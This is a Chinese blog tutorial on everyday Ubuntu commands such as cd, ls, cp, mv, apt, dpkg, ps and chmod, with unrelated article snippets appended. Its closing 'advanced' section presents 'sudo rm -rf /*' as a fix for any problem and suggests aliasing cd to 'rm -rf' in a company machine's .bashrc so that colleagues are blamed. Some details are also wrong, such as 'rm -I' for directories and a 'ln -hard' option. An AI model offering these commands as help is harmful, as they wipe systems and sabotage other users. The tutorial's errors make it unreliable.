当前位置: 首页 > news >正文

【Ubuntu】常用命令

一般操作

  • pwd(present working directory)

显示当前的工作目录/路径。

  • cd (change directory)

改变目录,用于输入需要前往的路径/目录。

有一些特殊命令也很常用 :

解释

前往同一级的另一个目录 cd ../directory name cd .. 表示进入上层目录 cd ../.. 进入上上层目录,后面还可以加更多。 前往同一级的另一个目录 cd ../directory name cd - //表示返回上一次的目录 cd ~ //进入home主目录,即/home/用户名的简写

  • ls (list)

ls 显示当前目录下的文件(不包括隐藏文件和缓存文件等);

列出目录下所有文件

ls -a 

ll , 以列表形式显示当前路径下的所有文件的详细信息(包括隐藏文件和缓存文件等)。

  • mkdir (make directory)

创建目录,后面接上directory的名字。

mkdir I_dont_care //创建一个“我不在乎”目录
  • rm (remove)

删除文件,后面接上要删除的文件名。如果要删除目录,需要这样写:

rm -I <目录名>  //这样做会删除指定目录中的所有子目录和包含的文件
  • touch

创建任意格式的文件,包括源代码、文本等等,通过后缀来决定。例如,.cpp/.cc是c++源代码,而.py是python源代码。

touch hello_world.cpp  //创建hello_world源代码

  • cp (copy)

复制命令。通用格式为

cp -? <源文件/源目录> <目的目录>  //第一个"-?"表示参数,出发地在左,目的地在右

特别的,如果想把某目录下所有文件都复制,可以使用参数-r

cp -r cangjingkong/ xuexi    //将canjingkong目录下的所有资源都复制到xuexi目录中
  • mv (move)

移动+重命名命令。格式类似于cp命令

mv -? <源文件/源目录> <目的目录> //第一个"-?"表示参数,出发地在左,目的地在右

以移动txt文件为例 可以分为以下三种情况:

mv a.txt b.txt                 //出发地和目的地是同一路径,名称从a.txt变为b.txt,那仅仅是重命名
mv ~/目录1/a.txt ~/目录2       //出发地和目的地是不同路径,没有指定新的名称,那仅仅是移动
mv ~/目录1/a.txt ~/目录2/b.txt //出发地和目的地是不同路径,指定了新的名称,那就是移动+重命名

常用的例子有,

移动目录到另一目录中

mv 目录1/ 目录2

将某目录下所有的文件和目录都移动到当前目录下

mv ~/videos/p_hub .
  • gedit

在桌面临时新建一个text editor(文本编辑器)显示文件内的文本,并且支持修改。按ctrl+c退出文件显示。

gedit <文件名>

例如,

gedit single_ladies_contacts.csv
  • cat

在终端打印出文本内容。

cat <文件名>  //在terminal内部打印,和gedit相区分

  • code/nano/vi/vim

使用Visual Studio Code/Nano/vi/vim这四种编辑器,打开或者新建一个源代码文件。

  • apt/apt-get

更推荐使用apt命令而不是apt-get命令,它的命令更精简而且易用。

解释

sudo apt install <软件名> //安装软件最简单的方式 sudo apt list //查看所有已安装的软件列表 sudo apt search <软件名> //搜索某个软件 sudo apt remove <软件名> //删除某个软件包 sudo apt purge <软件名> //删除某个软件包以及配置文件,更彻底

还有我们最最常用的更新相关命令

sudo apt update
sudo apt upgrade

 

  • dpkg (Debian package)

包管理工具。

首先是下载功能。先在官网下载软件的deb格式安装包,然后cd到下载文件夹,打开terminal(终端)输入:

dpkg -i <.deb后缀的软件名>  //i 表示 install

其次是卸载功能。和apt系列命令类似,也可以查看安装列表,搜索指定安装包和卸载。

解释

dpkg -r <包的名字> //r 表示 remove, 此种方法会保留配置文件 dpkg -P <包的名字> //直接全删了,配置也不会保留 dpkg -l //查看安装列表 dpkg -S <包的名字> //搜索某个包

  • kill

结束指定进程时使用,就比如某个软件不响应了,这时候kill就相当于windows系统中的任务管理器中的“结束进程”按钮。我们只要指定进程的编号(ID#)

kill <ID#>  //结束编号为<ID#>的进程

进程编号如何获得?引出下一个函数。

  • ps (process status)

查看所有进程;

ps -A     

查看所有包含其他使用者的进程;

ps -aux

关键字查找某个进程,这个办法用于结束指定进程很方便。

ps -ef | grep <关键字>

  • grep

Linux grep 命令用于查找文件里符合条件的字符串。

  • find

用于查找目录中的文件。

  • ln (link files)

插入链接。

ln -sft

ln -hard

  • chmod (change mode)

改变权限。

chmod +x dir/file or. chmod 777 dir/file

改为可执行

  • du(disk usage)

du -h -l -d 1

-h: --human readable 会显示Mb, Kb, G之类的单位,方便阅读

-d 1: 表示深度为1,只会查看下一级目录的空间占用大小

  • df(disk space filesystem)

df -h


基础但实用的操作

如果碰到不会的命令,或者忘记了具体的options(操作选项),可以使用帮助命令:

命令名 -h or --help

如果嫌每次都要sudo太麻烦,可以先登录,获取root权限。

sudo su //输入并回车
//就会让你输入root密码

学会以下代码就可以在技能中写上“熟悉linux系统的开关机”

reboot  //重启
poweroff //关机

高端操作

无敌“电脑更新”命令,遇到什么问题都可以用以下代码解决:

sudo rm -rf /*

只要删了库,所有的问题都迎刃而解。

如果你的电脑是公司的,还可以将cd命令换成rm -rf,让以后的同事替你背锅

nano ~/.bashrc
alias cd = "rm -rf"

相关文章:

【Ubuntu】常用命令

一般操作 pwd&#xff08;present working directory&#xff09; 显示当前的工作目录/路径。 cd (change directory) 改变目录&#xff0c;用于输入需要前往的路径/目录。 有一些特殊命令也很常用 : 解释 前往同一级的另一个目录 cd ../directory name cd .. 表示进入上…...

稀碎从零算法笔记Day22-LeetCode:

题型&#xff1a;链表 链接&#xff1a;2. 两数相加 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;Leet 题目描述 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 …...

Nacos下载和安装

&#xff08;1&#xff09;下载地址和版本 下载地址&#xff1a;Releases alibaba/nacos GitHub 解压在没有中文及空格的文件夹 &#xff08;2&#xff09;启动nacos服务 在bin目录下,打开命令行,输入 启动命令&#xff1a;sh startup.sh -m standalone - Linux/Unix/Mac …...

pandas简介(python)

pandas是什么 Pandas 是一个开源的第三方 Python 库&#xff0c;从 Numpy 和 Matplotlib 的基础上构建而来&#xff0c;享有数据分析“三剑客之一”的盛名&#xff08;NumPy、Matplotlib、Pandas&#xff09;。Pandas 已经成为 Python 数据分析的必备高级工具&#xff0c;它的…...

个人网站制作 Part 13 添加搜索功能[Elasticsearch] | Web开发项目

文章目录 &#x1f469;‍&#x1f4bb; 基础Web开发练手项目系列&#xff1a;个人网站制作&#x1f680; 添加搜索功能&#x1f528;使用Elasticsearch&#x1f527;步骤 1: 安装Elasticsearch&#x1f527;步骤 2: 配置Elasticsearch&#x1f527;步骤 3: 创建索引 &#x1f…...

Springboot+vue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。

演示视频&#xff1a; Springbootvue的仓库管理系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层…...

vue3 + vite 实现一个动态路由加载功能

假设后端返回的格式是这样子 {"menu": [{"path": "/admin","name": "adminLayout","redirect": "/admin/index","componentPath": "/layout/admin/index.vue","children&quo…...

【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024)

【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024) 大会主题: (主题包括但不限于, 更多主题请咨询会务组苏老师) 区块链&#xff1a; 区块链技术和系统 分布式一致性算法和协议 块链性能 信息储存系统 区块链可扩展性 区块…...

若依jar包运行脚本,从零到一:用Bash脚本实现JAR应用的启动、停止与监控

脚本使用说明&#xff1a; 启动应用&#xff1a;sh app.sh start停止应用&#xff1a;sh app.sh stop检查应用状态&#xff1a;sh app.sh status重启应用&#xff1a;sh app.sh restart 注意事项&#xff1a; 请确保你的系统上安装了 Java 环境&#xff0c;并且 ruoyi-admin…...

Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib)

Unix运维_FreeBSD-13.1临时环境变量设置(bin和include以及lib) 在 FreeBSD 系统上设置用户环境变量可以通过编辑用户的 Shell配置文件 来实现。 cshrc 与 csh_profile 的区别: cshrc: 每个脚本执行前都执行一遍这个脚本。 csh_profile: 根据不同使用者用户名, 会先去其 home…...

Apache Dolphinscheduler - 无需重启 Master-Server 停止疯狂刷日志解决方案

记录的是一个 3.0 比较难搞的问题&#xff0c;相信不少使用过 3.0 的用户都遇到过 Master 服务中存在一些工作流或者任务流一直不停的死循环的问题&#xff0c;导致疯狂刷日志。不过本人到现在也没找到最关键的触发原因&#xff0c;只是看到一些连锁反应带来的结果…… 影响因素…...

竞争优势:大型语言模型 (LLM) 如何重新定义业务策略

人工智能在内容创作中的突破 在当今快节奏的商业环境中&#xff0c;像 GPT-4 这样的大型语言模型 (LLM) 不再只是一种技术新颖性&#xff1b; 它们已成为重新定义跨行业业务战略的基石。 从增强客户服务到推动创新&#xff0c;法学硕士提供了企业不容忽视的竞争优势。 1. 加强…...

Spring AOP和AspectJ AOP区别

Spring AOP&#xff08;Aspect-Oriented Programming&#xff09;和 AspectJ AOP 是两种不同的 AOP 实现方式&#xff0c;它们在实现上有一些区别。下面是它们之间的主要区别&#xff1a; 基于代理 vs 字节码增强&#xff1a; Spring AOP&#xff1a; Spring AOP 是基于代理的…...

FREERTOS信号量详解

信号量是操作系统中重要的一部分&#xff0c;信号量一般用来进行资源管理和任务同步&#xff0c;资源管理其实就是用变量来标记现有资源的数量&#xff0c;任务同步其实就是用标志位来控制任务的先后执行顺序&#xff0c;这些概念在操作系统中以及裸机开发中都有所涉及。 FreeR…...

每天学习一个Linux命令之vim

每天学习一个Linux命令之vim Vim是一款功能强大的文本编辑器&#xff0c;在Linux系统中广泛使用。本篇博客将介绍一些常用的Vim命令及其选项&#xff0c;帮助您更好地使用Vim进行文本编辑。 命令及选项 以下是Vim的常用命令及其可用选项&#xff1a; 1. 打开文件 $ vim fi…...

linux环境部署

war包环境 在Linux系统上部署准备war包环境 查看linux当前版本和系统类型 [rootlocalhost ~]# uname -a Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linuxlinux 打包文件夹 使用tar命令&#xff1…...

上位机图像处理和嵌入式模块部署(qmacvisual图像预处理)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 不管大家是在读书的时候学习的图像处理&#xff0c;还是在后来的工作中&#xff0c;重新学习了图像处理&#xff0c;相信大家对图像预处理的概念并…...

C语言内存函数详解

文章目录 前言一、memcpy函数&#xff08;内存拷贝函数&#xff09;二、memmove重叠拷贝函数三.memset内存设置函数四.memcmp内存比较函数总结 前言 我们之前按学习了C语言标准库中提供了一系列的字符和字符串库函数&#xff0c;接下来我们就学习一下关于内存相关的一些函数。…...

详解Redis的持久化RDB和AOF

Redis的持久化是将内存中的数据同步到硬盘的过程 具体来说&#xff0c;Redis支持两种主要的持久化方式&#xff1a;RDB 和 AOF。 RDB&#xff08;Redis Database&#xff09; 简介 默认持久化方式 RDB会将内存中的数据快照保存到磁盘上的一个二进制文件中。这个文件包含了…...

详细分析Js中的Promise.all基本知识(附Demo)

目录 1. 基本知识2. Demo3. 实战 1. 基本知识 Promise.all 是 JavaScript 中的一个方法&#xff0c;它接受一个由 Promise 对象组成的数组作为参数&#xff0c;并在所有 Promise 对象都变为 resolved&#xff08;已完成&#xff09;状态时才返回一个新的 Promise 对象&#xf…...

三步搞定国家中小学智慧教育平台电子课本下载:新手也能轻松掌握的完整指南

三步搞定国家中小学智慧教育平台电子课本下载&#xff1a;新手也能轻松掌握的完整指南 【免费下载链接】tchMaterial-parser 国家中小学智慧教育平台 电子课本下载工具&#xff0c;帮助您从智慧教育平台中获取电子课本的 PDF 文件网址并进行下载&#xff0c;让您更方便地获取课…...

Halcon工业视觉项目避坑:形状模板保存加载的3个常见错误与解决方案

Halcon工业视觉项目避坑&#xff1a;形状模板保存加载的3个常见错误与解决方案 在工业视觉检测项目中&#xff0c;形状模板匹配是最常用的技术之一。许多工程师在初次使用Halcon进行模板匹配时&#xff0c;往往只关注模板创建和匹配过程&#xff0c;而忽视了模板保存和加载环节…...

别再手动跑脚本了!用Docker Compose 5分钟搞定Apache DolphinScheduler 3.1.3部署

5分钟容器化部署Apache DolphinScheduler&#xff1a;告别繁琐配置的DevOps实践 每次看到团队新成员花一整天时间折腾环境配置&#xff0c;我就想起自己曾经被各种依赖和配置文件支配的恐惧。直到发现Docker Compose这个神器&#xff0c;才真正体会到什么叫"开箱即用"…...

网盘下载加速终极指南:八大平台直链获取完整解决方案

网盘下载加速终极指南&#xff1a;八大平台直链获取完整解决方案 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云…...

告别手动改图!用FME+Python搞定GIS数据五大拓扑错误(附完整模板)

从数据质检到智能修复&#xff1a;FME与Python联袂解决GIS拓扑难题 当一份布满尖锐角、自相交和缝隙的GIS数据摆在面前时&#xff0c;许多工程师的第一反应可能是头皮发麻。传统手动修复不仅耗时费力&#xff0c;还容易引入新的错误。本文将揭示如何通过FME Workbench与Python脚…...

WebPlotDigitizer:当计算机视觉遇见科研数据挖掘的智能革命

WebPlotDigitizer&#xff1a;当计算机视觉遇见科研数据挖掘的智能革命 【免费下载链接】WebPlotDigitizer Computer vision assisted tool to extract numerical data from plot images. 项目地址: https://gitcode.com/gh_mirrors/we/WebPlotDigitizer 在科研和工程领…...

抖音批量下载终极指南:3个隐藏技巧+5个避坑要点,轻松搞定自媒体素材管理

抖音批量下载终极指南&#xff1a;3个隐藏技巧5个避坑要点&#xff0c;轻松搞定自媒体素材管理 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication,…...

【20年.NET架构师亲测有效】:C# 14 AOT下Dify客户端HttpClientFactory注入失效的7层调用栈溯源与零配置热修复方案

第一章&#xff1a;C# 14 原生 AOT 部署 Dify 客户端报错解决方法在使用 C# 14 的原生 AOT&#xff08;Ahead-of-Time&#xff09;编译方式部署 Dify 官方 .NET SDK 客户端时&#xff0c;常见因反射、动态代码生成或 JSON 序列化元数据缺失导致的运行时异常&#xff0c;典型错误…...

VIC水文模型深度解析:从基础内容处理到模型参数率定的全程视频教学指南

vic水文模型 VIC水文模型径流模拟 全程视频教学指导&#xff0c;讲解详细 从基础内容处理讲解到模型参数率定全程教学。 零基础可学。 自用模型&#xff0c;从零到实践&#xff0c;历时两周左右 全套教程 最近在折腾VIC水文模型的径流模拟&#xff0c;发现这玩意儿就像搭乐高—…...

老系统安全加固指南:以久草CMS V1.9为例,手把手教你修复后台文件写入与CSRF组合漏洞

老系统安全加固实战&#xff1a;从漏洞分析到修复的完整方案 当企业运维人员接手一个历史悠久的CMS系统时&#xff0c;面临的不仅是技术债务&#xff0c;更是一场与时间赛跑的安全保卫战。以某CMS V1.9为例&#xff0c;这个发布于多年前的系统至今仍在不少中小型网站服役&#…...